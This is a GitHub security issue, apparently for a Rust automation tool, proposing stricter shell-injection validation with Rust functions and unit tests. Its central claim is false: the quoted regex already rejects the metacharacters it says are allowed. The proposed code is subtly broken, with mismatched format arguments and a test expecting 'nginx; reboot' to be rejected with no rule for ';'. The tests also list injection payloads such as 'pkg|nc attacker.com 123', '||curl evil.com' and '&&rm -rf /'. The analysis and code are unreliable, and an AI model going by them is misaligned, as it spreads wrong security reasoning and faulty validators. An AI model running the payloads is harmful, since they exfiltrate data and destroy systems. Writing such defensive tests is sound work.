Skip to content

[S-security] Enhance Module Parameter Validation to Prevent Shell Injection #100

@adolago

Description

@adolago

Problem

The validate_package_name function in src/modules/mod.rs:74-119 uses a regex pattern that prevents basic shell injection but has gaps:

static PACKAGE_NAME_REGEX: Lazy<Regex> =
    Lazy::new(|| Regex::new(r"^[a-zA-Z0-9._+-]+$").expect("Invalid package name regex"));

This allows some problematic patterns:

  • pkg$(whoami) - Allows command substitution
  • pkg\rm\ -rf\ /` - Allows command chaining via backticks in some contexts
  • pkg|nc attacker.com 123 - Allows pipe injection
  • pkg&&reboot - Allows command chaining
  • pkg||curl evil.com - Allows OR-based injection

While package managers like apt/yum may sanitize inputs, other modules (command, shell, script) may pass validated strings directly to shell commands without additional escaping.

Impact

  • Command Injection: Malicious playbooks could execute arbitrary commands
  • Privilege Escalation: Could run commands with elevated privileges if playbook uses become: true
  • Remote Code Execution: Compromised inventory or variable sources could execute commands
  • Supply Chain Attack: Malicious role authors could exploit this weakness

Proposed Solution

Implement comprehensive parameter validation for all shell-escaped inputs:

/// Strict validation for package names and other shell-escaped parameters
pub fn validate_shell_safe_string(value: &str, param_name: &str) -> ModuleResult<()> {
    if value.is_empty() {
        return Err(ModuleError::InvalidParameter(
            format!("{} cannot be empty", param_name)
        ));
    }
    
    // Reject null bytes
    if value.contains('\0') {
        return Err(ModuleError::InvalidParameter(
            format!("{} contains null byte", param_name)
        ));
    }
    
    // Reject shell metacharacters that enable command injection
    const SHELL_METACHARACTERS: &[char] = &[
        '$', '`', '|', '&', ';', '<', '>', '(', ')', '\n', '\r', '\t', '\\', '!'
    ];
    
    if value.chars().any(|c| SHELL_METACHARACTERS.contains(&c)) {
        return Err(ModuleError::InvalidParameter(
            format!(
                "{} contains shell metacharacter '{}': {}",
                param_name,
                value.chars().filter(|c| SHELL_METACHARACTERS.contains(c))
                    .collect::<Vec<_>>()
                    .join("', '")
            )
        ));
    }
    
    // Validate against safe pattern (alphanumeric, dots, underscores, plus, hyphens)
    static SAFE_PATTERN: Lazy<Regex> = Lazy::new(|| {
        Regex::new(r"^[a-zA-Z0-9._+-]+$").expect("Invalid regex")
    });
    
    if !SAFE_PATTERN.is_match(value) {
        return Err(ModuleError::InvalidParameter(format!(
            "{} contains invalid characters. Only alphanumeric, dots, underscores, plus signs, and hyphens are allowed.",
            param_name
        )));
    }
    
    Ok(())
}

/// Enhanced package name validation with length limits
pub fn validate_package_name(name: &str) -> ModuleResult<()> {
    // Length limits (most package managers have limits)
    if name.len() > 255 {
        return Err(ModuleError::InvalidParameter(
            "Package name too long (max 255 characters)".to_string()
        ));
    }
    
    // Validate as shell-safe string
    validate_shell_safe_string(name, "Package name")?;
    
    // Additional package-specific validation
    // Reject names starting with hyphen (not valid in many package managers)
    if name.starts_with('-') {
        return Err(ModuleError::InvalidParameter(
            "Package name cannot start with hyphen".to_string()
        ));
    }
    
    Ok(())
}

/// Validate command arguments passed to shell modules
pub fn validate_command_args(args: &str) -> ModuleResult<()> {
    if args.is_empty() {
        return Ok(()); // Empty args are fine
    }
    
    // For command arguments, be more permissive but block injection vectors
    const DANGEROUS_PATTERNS: &[&str] = &[
        "\\$\\(",  // Command substitution
        "\\$\\{",  // Variable expansion
        "`",        // Backtick command substitution
        "\\|\\|",  // Command chaining
        "&&",       // AND operator
        "\\|\\s",  // Pipe to next command
        ">",         // Redirection
        "<",         // Input redirection
        "\\n",      // Multi-line command
    ];
    
    for pattern in DANGEROUS_PATTERNS {
        if let Ok(re) = regex::Regex::new(pattern) {
            if re.is_match(args) {
                return Err(ModuleError::InvalidParameter(format!(
                    "Command arguments contain potentially dangerous pattern: {}",
                    pattern.replace("\\", "")
                )));
            }
        }
    }
    
    Ok(())
}

Add module-level validation configuration:

/// Validation level for module parameters
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ValidationLevel {
    /// No validation (use with caution)
    None,
    /// Basic sanitization only (null bytes, newlines)
    Basic,
    /// Moderate validation (no shell metacharacters)
    Moderate,
    /// Strict validation (only safe characters)
    Strict,
}

/// Add validation metadata to module parameters
pub struct ParamValidation {
    pub name: &'static str,
    pub required: bool,
    pub validation_level: ValidationLevel,
    pub allow_empty: bool,
}

Implementation Details

  1. Replace validate_package_name with enhanced version:

    • Add length checks (max 255 chars)
    • Prevent leading/trailing special characters
    • Use shell-safe validation
  2. Add validate_shell_safe_string for general use:

    • Blocks all shell metacharacters: $ `` | & ; < > ( ) \ !`
    • Rejects null bytes and newlines
    • Returns descriptive error messages
  3. Add validate_command_args for command/shell modules:

    • More permissive for legitimate arguments
    • Blocks specific injection patterns
    • Allows quotes and spaces for legitimate use
  4. Update all modules to use enhanced validation:

    • Package modules: Use validate_package_name
    • Command modules: Use validate_command_args
    • File modules: Use validate_shell_safe_string for paths
    • User modules: Validate usernames (no special chars)
  5. Add validation level support:

    • Allow modules to specify strictness level
    • Enable users to adjust via config
    • Document trade-offs

Testing Strategy

  • Unit tests for validation functions:

    #[test]
    fn test_validate_package_name_rejects_injection() {
        assert!(validate_package_name("pkg$(whoami)").is_err());
        assert!(validate_package_name("pkg`reboot`").is_err());
        assert!(validate_package_name("pkg||curl evil.com").is_err());
        assert!(validate_package_name("pkg&&rm -rf /").is_err());
    }
    
    #[test]
    fn test_validate_package_name_accepts_valid() {
        assert!(validate_package_name("nginx").is_ok());
        assert!(validate_package_name("python3.11").is_ok());
        assert!(validate_package_name("lib-dev").is_ok());
        assert!(validate_package_name("g++").is_ok());
    }
    
    #[test]
    fn test_validate_command_args() {
        assert!(validate_command_args("nginx -c /etc/nginx.conf").is_ok());
        assert!(validate_command_args("--force").is_ok());
        assert!(validate_command_args("$(cat /etc/passwd)").is_err());
        assert!(validate_command_args("nginx; reboot").is_err());
    }
  • Security testing with malicious payloads:

    • Command injection attempts: $(whoami), `id`, | nc attacker.com 123
    • Variable expansion: ${HOME}, $(pwd)
    • Pipeline injection: ; rm -rf /, && reboot, || curl evil.com
  • Integration testing with real playbooks:

    • Verify legitimate playbooks still work
    • Test error messages are clear
    • Ensure no false positives on valid inputs

Alternatives Considered

  1. Use shell escaping libraries (shell-words): Better for escaping, doesn't validate
  2. Allow dangerous patterns but warn: Too permissive for production use
  3. Use allowlist only: Too restrictive for legitimate use cases
  4. Runtime validation only: Slower, doesn't catch issues early

Chosen approach: Multi-level validation with configurable strictness, allowing legitimate use while blocking clear injection vectors.

Related Issues

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions